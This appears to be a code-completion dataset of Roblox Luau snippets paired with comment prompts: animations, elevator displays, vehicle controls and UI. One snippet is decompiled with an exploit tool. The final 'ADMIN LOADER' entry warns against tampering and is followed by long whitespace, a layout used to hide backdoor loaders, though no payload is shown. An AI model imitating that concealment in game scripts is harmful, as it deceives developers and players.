-- -- --\n\t--DIRECTION SCROLL--\n\t-- -- -- -- -- -- --\n if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\tThis.Display.ARW1.UP.Transparency = 0\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 0.99\n elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\tThis.Display.ARW1.UP.Transparency = 0.99\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 0\n\telse\n\t\tThis.Display.ARW1.UP.Transparency = 0.99\n\t\tThis.Display.ARW1.MID.Transparency = 0.99\n\t\tThis.Display.ARW1.DOWN.Transparency = 0.99\n end\nend\n"} +{"prompt": "--// Animations", "completion": "\n\t\n\t-- Idle Anim\n\tIdleAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\tTweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.18)\t\n\tend;\n\t\n\t-- FireMode Anim\n\tFireModeAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.1)\n\t\tTweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.25)\n\t\tobjs[4]:WaitForChild(\"Click\"):Play()\t\t\n\tend;\n\t\n\t-- Reload Anim\n\tReloadAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0, -4.37113883e-08, 1, -0.167529613, -0.985867023, -4.30936176e-08), function(X) return math.sin(math.rad(X)) end, 0.5)\n\t\tTweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -1.82817471, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.5)\n\t\twait(0.5)\t\t\n\t\t\n\t\tlocal MagC = Tool:WaitForChild(\"Mag\"):clone()\n\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\tMagC.Parent = Tool\n\t\tMagC.Name = \"MagC\"\n\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\tMagCW.Part0 = MagC\n\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\tMagCW.Parent = MagC\n\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)\n\t\tobjs[4].Transparency = 1\n\t\t\n\t\tobjs[6]:WaitForChild(\"MagOut\"):Play()\t\t\n\t\t\n\t\tTweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -3.00337243, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.3)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0.0120280236, 0.0707816631, 0.997419298, -0.16709727, -0.983322799, 0.0717963576), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\twait(0.1)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-1.11434817, 0.317047596, -0.672240019, 0.658346057, -0.747599542, -0.0876094475, 0.0672011375, -0.0575498641, 0.996078312, -0.749709547, -0.661651671, 0.0123518109), function(X) return math.sin(math.rad(X)) end, 0.3)\n\t\twait(0.6)\n\t\tobjs[6]:WaitForChild('MagIn'):Play()\n\t\tTweenJoint(objs[3], nil , CFrame.new(-0.273085892, 0.654289246, -1.48434556, 0.613444746, -0.780330896, 0.121527649, -0.413143814, -0.185948789, 0.891479254, -0.673050761, -0.597081661, -0.43645826), function(X) return math.sin(math.rad(X)) end, 0.3)\n\t\twait(0.4)\n\t\tMagC:Destroy()\n\t\tobjs[4].Transparency = 0\n\tend;\n\n\tBoltBackAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.561492503, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0, 1.19248806e-08, 1, 0.173648179, -0.98480773, 1.17437144e-08), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.1)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.379443169, -1.24877262, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.3)\n\t\t\tobjs[5]:WaitForChild(\"BoltBack\"):Play()\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.578711689, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.311225414, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0.0128111057, -0.0726553723, 0.997274816, 0.173174962, -0.982123971, -0.0737762004), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.2)\n\t\tend;\n\t\t\n\t\tBoltForwardAnim = function(char, speed, objs)\n\t\t\tobjs[5]:WaitForChild(\"BoltForward\"):Play()\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(-0.674199283, -1.50949407, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.653734565, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, -0.00113785546, 0.00645311177, 0.999978542, 0.173644453, -0.98478663, 0.00655265898), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\twait(0.1)\n\t\tend;\n\t\t\n\t\t-- Bolting Back\n\t\tBoltingBackAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001)\n\t\tend;\n\t\t\n\t\tBoltingForwardAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001)\n\t\tend;\n\t\t\n\t\tInspectAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\n\t\t\twait(1)\n\t\t\tlocal MagC = Tool:WaitForChild(\"Mag\"):clone()\n\t\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\t\tMagC.Parent = Tool\n\t\t\tMagC.Name = \"MagC\"\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\tMagCW.Part0 = MagC\n\t\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\t\tMagCW.Parent = MagC\n\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)\n\t\t\tTool.Mag.Transparency = 1\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.13)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\twait(0.20)\t\t\t\n\t\t\tts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()\n\t\t\twait(0.8)\n\t\t\tts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.5)\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagIn\"):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\t\t\t\n\t\t\twait(0.3)\n\t\t\tMagC:Destroy()\n\t\t\tTool.Mag.Transparency = 0\n\t\t\twait(0.1)\n\t\tend;\n\t\t\n\t\tnadeReload = function(char, speed, objs)\n\t\t\tts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()\n\t\t\twait(0.6)\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()\n\t\t\twait(0.6)\t\t\n\t\tend;\n\t\t\n\t\tAttachAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.18)\t\n\t\tend;\n\t\t\n\t\t-- Patrol Anim\n\t\tPatrolAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.18)\n\t\tend;\n\t\n\t}\n\nreturn Settings\n"} +{"prompt": "--// F key, HornOff", "completion": "\nmouse.KeyUp:connect(function(key)\n\tif key==\"h\" then \n\t\tveh.Lightbar.middle.Airhorn:Stop()\n\t\tveh.Lightbar.middle.Wail.Volume = 10\n\t\tveh.Lightbar.middle.Yelp.Volume = 10\n\t\tveh.Lightbar.middle.Priority.Volume = 10\n\tend\nend)\n"} +{"prompt": "--welds", "completion": "\nRW, LW = Instance.new(\"Weld\"), Instance.new(\"Weld\")"} +{"prompt": "--X_Z", "completion": "\n\nlocal GameUI = script.Parent.Parent\n\nlocal module = {}\n\nfunction module:CreateLabel(Type, Text)\n\t\n\tif true then return end\n\t\n\tlocal Clone = GameUI.GuiTemplates.NotifTemplate:Clone()\n\tClone.Back.Txt.Text = Text\n\t\n\tif Type == \"Bad\" then\n\t\tClone.Back.Bar.BackgroundColor3 = Color3.fromRGB(170, 70, 70)\n\t\tGameUI.Sounds.NegativeNotif:Play()\n\telseif Type == \"Neutral\" then\n\t\tClone.Back.Bar.BackgroundColor3 = Color3.fromRGB(95, 202, 255)\n\t\tGameUI.Sounds.NegativeNotif:Play()\n\telse\n\t\tClone.Back.Bar.BackgroundColor3 = Color3.fromRGB(110, 222, 165)\n\t\tGameUI.Sounds.PositiveNotif:Play()\n\tend\n\t\n\tfor i,v in pairs(GameUI.Notifications.List:GetChildren()) do\n\t\tv.YPos.Value = v.YPos.Value + 1.03\n\t\tv:TweenPosition(UDim2.new(0,0,v.YPos.Value,0),\"Out\",\"Quad\",.3,true)\n\tend\n\t\n\tClone.Visible = true\n\tClone.Parent = GameUI.Notifications.List\n\t\n\tClone:TweenPosition(UDim2.new(0,0,0,0),\"Out\",\"Quad\",.3,true)\n\t\n\tspawn(function()\n\t\twait(4)\n\t\tif Clone and Clone.Parent and Clone.Parent ~= nil then\n\t\t\tClone:TweenPosition(UDim2.new(-1,0,Clone.Position.Y.Scale,0),\"Out\",\"Quad\",.3,true)\n\t\t\twait(.5)\n\t\t\tif Clone and Clone.Parent and Clone.Parent ~= nil then\n\t\t\t\tClone:Destroy()\n\t\t\tend\n\t\tend\n\tend)\n\t\nend\n\nreturn module\n"} +{"prompt": "-- fallback to defaults", "completion": "\nif (animTable[name].count <= 0) then\nfor idx, anim in pairs(fileList) do\nanimTable[name][idx] = {}\nanimTable[name][idx].anim = Instance.new(\"Animation\")\nanimTable[name][idx].anim.Name = name\nanimTable[name][idx].anim.AnimationId = anim.id\nanimTable[name][idx].weight = anim.weight\nanimTable[name].count = animTable[name].count + 1\nanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight"} +{"prompt": "--[[\n\tROBLOX deviation: skipped code\n\toriginal code lines 81 - 103\n]]", "completion": "\n"} +{"prompt": "--[[ Roblox Services ]]", "completion": "--\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal UserGameSettings = UserSettings():GetService(\"UserGameSettings\")\n"} +{"prompt": "--Tune", "completion": "\nOverheatSpeed = .15 --How fast the car will overheat\nCoolingEfficiency = .09 --How fast the car will cool down\nRunningTemp = 85 --In degrees\n\nFan = true --Cooling fan\nFanTemp = 100 --At what temperature the cooling fan will activate\nFanTempAlpha = 90 --At what temperature the cooling fan will deactivate\nFanSpeed = .03 --How fast the car will cool down\nFanVolume = .2 --Sound volume\n\nBlowupTemp = 130 --At what temperature the engine will blow up\n\nGUI = true --GUI temperature gauge\n\n"} +{"prompt": "--\t\t\t\t\t\t\telse print(\"Didn't hit Target\")", "completion": "\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif makeRays then\n\t\t\t\t\t\t\t\tmakeRay(CFrame.new(origPos, position)\n\t\t\t\t\t\t\t\t\t* CFrame.new(0, 0, -distance/2), Vector3.new(0.2, 0.2, distance))\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\n\t\t\n\t\n\t\n\t\t\n\t\tround:remove()\n\t\t\n\t\tbreak\n\tend\n\twait()\nend\nif round then\n\tround:remove()\nend\nscript:remove()\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nlocal tweenService = game:GetService(\"TweenService\")\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nfor i,v in pairs(Lift.Car:WaitForChild(\"Welds\"):GetChildren()) do\n\tif v.Part1 == script.Parent.Back then v:Destroy() end\nend\nlocal weld = Instance.new(\"ManualWeld\", This.Button)\nweld.C0 = Lift.Car.Platform.CFrame:inverse() * This.Back.CFrame\nweld.Part0 = Lift.Car.Platform\nweld.Part1 = This.Back\nclick = false\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tif string.len(SF) == 1 then\n\t\tThis.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)\n\t\tThis.Label.DIG2.Mesh.Offset = Vector3.new(0.04, 0, 0)\n\telse\n\t\tThis.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)\n\t\tThis.Label.DIG2.Mesh.Offset = Vector3.new(0, 0, 0)\n\tend\n\tSetLabel(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetLabel(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetLabel(ID,CHAR)\n\tif This.Label:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis.Label[\"DIG\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\tend\nend\n\nChangeFloor(This.Name)\n\nfor x,x in pairs(This.Button:GetChildren()) do \n\tif x:IsA(\"SurfaceGui\") and x.Name == (\"Button\") then \n\t\tx.Button.MouseButton1Click:connect(function()\n\t\t\tif click == false then\n\t\t\t\tclick = true\n\t\t\t\ttweenService:Create(weld,TweenInfo.new(0.1),{\n\t\t\t\t\t[\"C1\"] = weld.C1*CFrame.new(0.002, 0, 0),\n\t\t\t\t}):Play()\n\t\t\t\twait(0.1)\n\t\t\t\ttweenService:Create(weld,TweenInfo.new(0.1),{\n\t\t\t\t\t[\"C1\"] = weld.C1*CFrame.new(-0.002, 0, 0),\n\t\t\t\t}):Play()\n\t\t\t\twait(0.1)\n\t\t\t\tclick = false\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "--[[\n\tThis script runs locally for the player.\n\t\n\tThis script checks processes local player input on a TextButton and via\n\tthe UserInputService event InputBegan. \n\t\n\tWhen a player interacts with the TextButton or presses KEY the game GUI \n\tis opened unless the player is already interacting.\n]]", "completion": "--\n\n"} +{"prompt": "--Main", "completion": "\nNavigatorStringValue:GetPropertyChangedSignal(\"Value\"):Connect(function()\n\tlocal new: string? = NavigatorStringValue.Value\n\t\n\tif new and tostring(new) and #new > 0 then\n\t\ttable.insert(pendingNavigations, new)\n\t\tisPending = true\n\tend\nend)\n\nRunService.RenderStepped:Connect(function()\n\tif isPending then\n\t\tNavigatorFrame.Visible = true\n\t\t\n\t\tif time() > nextShowTime then\n\t\t\tlocal nextText: string = pendingNavigations[1]\n\t\t\t\n\t\t\tif nextText then\n\t\t\t\tnextShowTime = time() + math.max(#nextText / 20, 2)\n\t\t\t\tNavigatorText.Text = nextText\n\n\t\t\t\ttable.remove(pendingNavigations, 1)\n\t\t\t\t\n\t\t\t\tscript.NewMessage:Play()\n\t\t\telse\n\t\t\t\tisPending = false\n\t\t\tend\n\t\tend\n\telse\n\t\tNavigatorFrame.Visible = false\n\tend\nend)\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn function(p1)\n\tlocal v1 = newproxy(true);\n\tgetmetatable(v1).__tostring = function()\n\t\treturn p1;\n\tend;\n\treturn v1;\nend;\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\nThis.Parent.Parent.Parent.Parent.Parent:WaitForChild(\"Direction\").Changed:connect(function(val)\n if val == 1 then\n SetDisplay(1,\"U0\")\n elseif val == -1 then\n SetDisplay(1,\"D0\")\n else\n SetDisplay(1,\"NIL\")\n end\nend)\n"} +{"prompt": "--\t\t\tprint(name .. \" [\" .. idx .. \"] \" .. animTable[name][idx].anim.AnimationId .. \" (\" .. animTable[name][idx].weight .. \")\")", "completion": "\n\t\t\tidx = idx + 1\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight"} +{"prompt": "-- Customization", "completion": "\n\tAntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)\n\t\n\tMouseSense = 0.5;\n\n\tCanAim = true; -- Allows player to aim\n\tCanBolt = true; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)\n\t\n\tLaserAttached = true;\n\tLightAttached = true;\n\tTracerEnabled = true;\n\t\n\tSprintSpeed = 20;\n\t\n\tCanCallout = false;\n\tSuppressCalloutChance = 0;\n"} +{"prompt": "-- ALEX WAS HERE LOL", "completion": "\n\nlocal v1 = {};\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nend)();\nlocal l__ID__2 = u1.Directory.Gamepasses[\"Super Lucky\"].ID;\nlocal l__ID__3 = u1.Directory.Gamepasses[\"Mythical Hunter\"].ID;"} +{"prompt": "--// Catch up", "completion": "\nfor Index, Player in pairs(game:GetService(\"Players\"):GetChildren()) do\n\tPlayerAdded(Player)\nend\n"} +{"prompt": "--ADMIN LOADER.\n--This is a script that is part of your admin in game.\n--Removing/tampering with this script will potentially result in scripts breaking in your game.", "completion": "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t